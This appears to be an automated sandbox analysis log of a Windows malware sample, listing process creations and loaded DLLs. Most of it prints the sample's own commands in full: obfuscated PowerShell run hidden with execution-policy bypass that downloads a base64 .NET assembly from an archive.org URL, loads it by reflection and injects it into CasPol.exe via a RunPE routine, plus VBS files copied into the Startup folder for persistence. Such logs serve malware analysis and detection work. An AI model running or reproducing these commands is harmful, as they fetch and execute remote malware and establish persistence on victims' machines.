Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
